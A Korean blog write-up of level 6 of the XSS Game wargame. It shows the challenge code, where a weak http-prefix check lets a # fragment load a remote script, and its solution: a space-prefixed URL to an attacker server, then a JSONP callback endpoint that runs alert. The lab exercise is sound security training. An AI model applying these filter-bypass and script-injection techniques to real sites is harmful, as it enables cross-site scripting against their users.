문제와 코드를 보면 다음과 같이 #을 기준으로 뒤의 값들을 가져와 https로 시작하는지 검증 후 아니면 document.head.appendChild를 통해 <script src=경로></script> 형태로 경로 위치에 가져온 값을 넣어 자바스크립트 형태로 파일을 포함시킨다.
1 2 3 4 5 6 7 8 9 | class MainPage(webapp.RequestHandler): def render_template( self , filename, context = {}): path = os.path.join(os.path.dirname(__file__), filename) self .response.out.write(template.render(path, context)) def get( self ): self .render_template( 'index.html' ) application = webapp.WSGIApplication([ ( '.*' , MainPage), ], debug = False ) |
1 | /* This is a completely awesome invisible gadget */ |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | <!doctype html> < html > < head > <!-- Internal game scripts/styles, mostly boring stuff --> < script src = "/static/game-frame.js" ></ script > < link rel = "stylesheet" href = "/static/game-frame-styles.css" /> < script > function setInnerText(element, value) { if (element.innerText) { element.innerText = value; } else { element.textContent = value; } } function includeGadget(url) { var scriptEl = document.createElement('script'); // This will totally prevent us from loading evil URLs! if (url.match(/^https?:\/\//)) { setInnerText(document.getElementById("log"), "Sorry, cannot load a URL containing \"http\"."); return; } // Load this awesome gadget scriptEl.src = url; // Show log messages scriptEl.onload = function() { setInnerText(document.getElementById("log"), "Loaded gadget from " + url); } scriptEl.onerror = function() { setInnerText(document.getElementById("log"), "Couldn't load gadget from " + url); } document.head.appendChild(scriptEl); } // Take the value after # and use it as the gadget filename. function getGadgetName() { return window.location.hash.substr(1) || "/static/gadget.js"; } includeGadget(getGadgetName()); // Extra code so that we can communicate with the parent page window.addEventListener("message", function(event){ if (event.source == parent) { includeGadget(getGadgetName()); } }, false); </ script > </ head > < body id = "level6" > < img src = "/static/logos/level6.png" > < img id = "cube" src = "/static/level6_cube.png" > < div id = "log" >Loading gadget...</ div > </ body > </ html > |
내 서버에 alert(1);이 들어있는 js파일을 만들어 놓고 다음과 같이 http앞에 공백을 한칸줘서 필터우회해 payload를 날렸지만 이상하게 내 서버에 접근이 안되고 있었다.
https://xss-game.appspot.com/level6/frame# https://내 ip/test.js
여기서 도저히 이유를 못찾다가 힌트를 봤는데 이런게 있었다.
4번을 보니 내 서버쪽에서 js가 안땡겨지면 google.com/jsapi?callback=foo를 이용해보라 했다.
접속해보니 callback 파라미터 인자값을 받아서 값()과 같은 형태로 파일내에 문자열을 출력해주고 있는걸 확인할 수 있었고 파라미터 값으로 alert를 주면 js 파일 내에 alert()를 완성시킬 수 있었다.
이제 내 서버대신 이 서버를 #뒤에 넣어서 땡겨주니 정상적으로 alert창이 뜨는걸 확인할 수 있었다.
마지막 문제까지 끝내니 다음과 같은 사진이 나타났다.
'Wargame > XSS Game' 카테고리의 다른 글
XSS Game level 5 (0) | 2018.03.31 |
---|---|
XSS Game level 4 (0) | 2018.03.30 |
XSS Game level 3 (0) | 2018.03.30 |
XSS Game level 2 (0) | 2018.03.29 |
XSS Game Level 1 (0) | 2018.03.29 |